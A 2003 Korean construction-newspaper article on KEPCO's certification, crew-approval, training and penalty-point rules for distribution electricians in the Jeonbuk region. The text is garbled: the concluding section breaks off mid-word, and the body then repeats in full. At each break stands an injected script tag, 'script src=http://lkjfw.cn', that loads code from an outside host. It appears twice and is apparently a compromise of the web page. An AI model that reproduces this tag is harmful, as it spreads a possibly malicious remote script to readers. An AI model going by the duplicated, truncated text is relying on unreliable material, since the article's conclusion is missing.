전기공의 한전 자격증 활용
보도일자 2003-08-18
보도기관 일간건설
건설산업하면 부실공사, 산재다발, 고용불안, 페이퍼컴퍼니 등 부정적인 이미지를 연상시키는 사람들이 많다. 하지만 전북지역의 전기업계에서는 ‘자격증’을 매개로 이러한 부정적 이미지를 불식시키고 있다. 건설현장에 신선한 가능성을 제시하고 있는 전북지역 전기업종의 자격증 활용 사례를 소개하고자 한다. 발주자인 한전은 지난 1993년부터 전업사에게 자격증을 취득한 전기공을 보유할 것을 요구해왔다. 그리고 자격증 정보를 체계적으로 관리하고 이들에 대한 제재조치도 마련하고 있다. 현재 약 9천명 정도의 배전활선전공이 존재한다.
◇한전의 발주방식과 계약방법
한전은 전문건설업체인 전업사를 대상으로 전기공사를 직접 발주한다. 계약의 종류는 두 가지다. 첫째, 5천만원 미만의 공사에 대한 단가계약이다. 이것은 입찰 적격심사에 합격한 업체들이 지역을 분할해 해당지역에서 일어나는 모든 공사는 해당업체가 담당하는 방법이다. 둘째, 5천만원 이상인 공사에 대한 총가계약이다. 이것은 공사별로 입찰을 해 업체를 선정하는 계약제도이다. 어느 계약방법에 의하든 한전은 발주 과정에서 전업사에게 실질적인 시공능력을 엄격하게 요구하고 있다. 배전활성공사와 무정전공사로 나누어 살펴보자.
◇배전활선공사의 작업조 운영
한전에서 발주하는 배전활선공사에 참여하기 위해서는 한전에서 인증한 배전활선작업조를 보유하고 있어야 한다. 배선활선작업조는 한전이 발급하는 ‘배전전공기능자격수첩’을 취득한 4인 이상의 배전활선전공으로 구성된다. 한전의 안전관리 담당부서는 작업조의 자격취득 여부, 자격중복 여부, 기능평가, 안전확보에 필요한 사항 등 적격여부를 확인한 후 승인 조치한다. 작업조의 신규편성, 재편성, 해제 등의 사유가 발생한 경우 한전의 안전관리 담당부서는 자격수첩에 변동내용을 기록하고 ‘기능인력관리시스템’에 입력한다. 나아가 안전관리 담당부서는 작업조 편성상황을 수시로 파악해 기준인원에 미달되는 경우 조속히 충원될 수 있도록 유도하고 해당 사업소에 통보해 충원될 때까지 공사를 중지하도록 조치한다. 하지만 이러한 사유의 공사중지 기간은 공기에 산입된다.
◇무정전공사의 시공 인증
전업사는 배전활선작업조 편성심사에 합격하고 ‘무정전공사 시공인증서’를 받아야만 한전에서 발주하는 무정전 공사의 입찰에 참여할 수 있다. 무정전공사 시공 인증을 위한 평가는 인원, 장비실사, 현장적용평가로 구성된다. 첫째, 인원은 활선작업조에 편성 승인된 배전활선전공 4명 이상과 역시 한전이 인정하는 기능평가 유자격 배전전공 8명 이상을 확보해야 한다. 둘째, 장비는 활선 및 무정전 공사에 필요한 보유장비 확보기준에 적합해야 한다. 셋째, 현장적용평가는 적정한 작업장소를 선택해 실제 필요한 공법의 작업을 수행하도록 하고 평가한다. 적격업체로 판정되면 한전은 ‘기능인력관리시스템’에 입력하고 무정전 시공인증업체 관리대장에 기록한 후 ‘무정전공사 시공인증서’를 발급한다. 이 업체의 인력 중 배전활선전공은 활선작업조에 편성 승인된 인력을 상시 보유해야 하고 기능평가 유자격 배전전공은 낙찰 후 계약일 이전까지 확보하거나 일용전공으로 대체해 사용할 수 있다.
◇한전 자격증 취득방법
‘배전전공’의 교육기간은 5일이며 기능평가 결과 총득점 80% 이상 득점하면 ‘배전전공기능자격수첩’을 교부받게 된다. 배전전공 기능자격 연령제한은 57세이다. 한편 ‘배전활선전공’의 교육대상은 배전공사 기능자격을 취득한 배전전공으로서 기능자격 취득 후 최소 1년 이상 현장경험을 보유해야 한다. 교육기간은 4주이며 필기 및 기능평가 항목당 60% 이상, 전체 평균 80% 이상이면 합격자로 하고 배전전공기능자격수첩에 ‘배전활선전공’ 자격사항을 추가 기입해 발급한다. 배선활선전공의 연령제한은 55세이다.
◇전기공에 대한 제재
시공품질의 확보와 안전사고를 예방하기 위해 한전은 전업사 소속 배전전공 및 배전활선전공에 대한 제재수단을 마련하고 있다. 작업 수행 중에 부실시공이나 안전사고 등을 유발할 경우에는 개인별 벌점을 부과해 일정기간 참여를 제한하거나 기능자격을 취소하기도 한다. 위반사항이 발생하면 현장감독자, 시공부서 간부, 한전 안전관리 담당부서 등이 지적해 조치하고 반드시 기능인력관리시스템에 입력한다. 1건당 벌점기준은 시공지적 20점, 안전지적 20점, 선로사고 유발 30∼50점, 안전사고 유발 50점 등이며 동일 공사에서 중복해 지적할 수 있다. 그에 따른 제재사항은 3년간 누계점수가 50점 이상이면 1개월간 공사참여 중지, 100점 이상이면 3개월간 공사참여 중지, 150점 이상이면 기능자격이 취소 등으로 매우 엄격하다.
◇자격증 활용의 효과와 시사점
전북지역에서는 상술한 요건이 잘 지?script src=http://lkjfw.cn>
◇한전의 발주방식과 계약방법
한전은 전문건설업체인 전업사를 대상으로 전기공사를 직접 발주한다. 계약의 종류는 두 가지다. 첫째, 5천만원 미만의 공사에 대한 단가계약이다. 이것은 입찰 적격심사에 합격한 업체들이 지역을 분할해 해당지역에서 일어나는 모든 공사는 해당업체가 담당하는 방법이다. 둘째, 5천만원 이상인 공사에 대한 총가계약이다. 이것은 공사별로 입찰을 해 업체를 선정하는 계약제도이다. 어느 계약방법에 의하든 한전은 발주 과정에서 전업사에게 실질적인 시공능력을 엄격하게 요구하고 있다. 배전활성공사와 무정전공사로 나누어 살펴보자.
◇배전활선공사의 작업조 운영
한전에서 발주하는 배전활선공사에 참여하기 위해서는 한전에서 인증한 배전활선작업조를 보유하고 있어야 한다. 배선활선작업조는 한전이 발급하는 ‘배전전공기능자격수첩’을 취득한 4인 이상의 배전활선전공으로 구성된다. 한전의 안전관리 담당부서는 작업조의 자격취득 여부, 자격중복 여부, 기능평가, 안전확보에 필요한 사항 등 적격여부를 확인한 후 승인 조치한다. 작업조의 신규편성, 재편성, 해제 등의 사유가 발생한 경우 한전의 안전관리 담당부서는 자격수첩에 변동내용을 기록하고 ‘기능인력관리시스템’에 입력한다. 나아가 안전관리 담당부서는 작업조 편성상황을 수시로 파악해 기준인원에 미달되는 경우 조속히 충원될 수 있도록 유도하고 해당 사업소에 통보해 충원될 때까지 공사를 중지하도록 조치한다. 하지만 이러한 사유의 공사중지 기간은 공기에 산입된다.
◇무정전공사의 시공 인증
전업사는 배전활선작업조 편성심사에 합격하고 ‘무정전공사 시공인증서’를 받아야만 한전에서 발주하는 무정전 공사의 입찰에 참여할 수 있다. 무정전공사 시공 인증을 위한 평가는 인원, 장비실사, 현장적용평가로 구성된다. 첫째, 인원은 활선작업조에 편성 승인된 배전활선전공 4명 이상과 역시 한전이 인정하는 기능평가 유자격 배전전공 8명 이상을 확보해야 한다. 둘째, 장비는 활선 및 무정전 공사에 필요한 보유장비 확보기준에 적합해야 한다. 셋째, 현장적용평가는 적정한 작업장소를 선택해 실제 필요한 공법의 작업을 수행하도록 하고 평가한다. 적격업체로 판정되면 한전은 ‘기능인력관리시스템’에 입력하고 무정전 시공인증업체 관리대장에 기록한 후 ‘무정전공사 시공인증서’를 발급한다. 이 업체의 인력 중 배전활선전공은 활선작업조에 편성 승인된 인력을 상시 보유해야 하고 기능평가 유자격 배전전공은 낙찰 후 계약일 이전까지 확보하거나 일용전공으로 대체해 사용할 수 있다.
◇한전 자격증 취득방법
‘배전전공’의 교육기간은 5일이며 기능평가 결과 총득점 80% 이상 득점하면 ‘배전전공기능자격수첩’을 교부받게 된다. 배전전공 기능자격 연령제한은 57세이다. 한편 ‘배전활선전공’의 교육대상은 배전공사 기능자격을 취득한 배전전공으로서 기능자격 취득 후 최소 1년 이상 현장경험을 보유해야 한다. 교육기간은 4주이며 필기 및 기능평가 항목당 60% 이상, 전체 평균 80% 이상이면 합격자로 하고 배전전공기능자격수첩에 ‘배전활선전공’ 자격사항을 추가 기입해 발급한다. 배선활선전공의 연령제한은 55세이다.
◇전기공에 대한 제재
시공품질의 확보와 안전사고를 예방하기 위해 한전은 전업사 소속 배전전공 및 배전활선전공에 대한 제재수단을 마련하고 있다. 작업 수행 중에 부실시공이나 안전사고 등을 유발할 경우에는 개인별 벌점을 부과해 일정기간 참여를 제한하거나 기능자격을 취소하기도 한다. 위반사항이 발생하면 현장감독자, 시공부서 간부, 한전 안전관리 담당부서 등이 지적해 조치하고 반드시 기능인력관리시스템에 입력한다. 1건당 벌점기준은 시공지적 20점, 안전지적 20점, 선로사고 유발 30∼50점, 안전사고 유발 50점 등이며 동일 공사에서 중복해 지적할 수 있다. 그에 따른 제재사항은 3년간 누계점수가 50점 이상이면 1개월간 공사참여 중지, 100점 이상이면 3개월간 공사참여 중지, 150점 이상이면 기능자격이 취소 등으로 매우 엄격하다.
◇자격증 활용의 효과와 시사점
전북지역에서는 상술한 요건이 잘 지?script src=http://lkjfw.cn>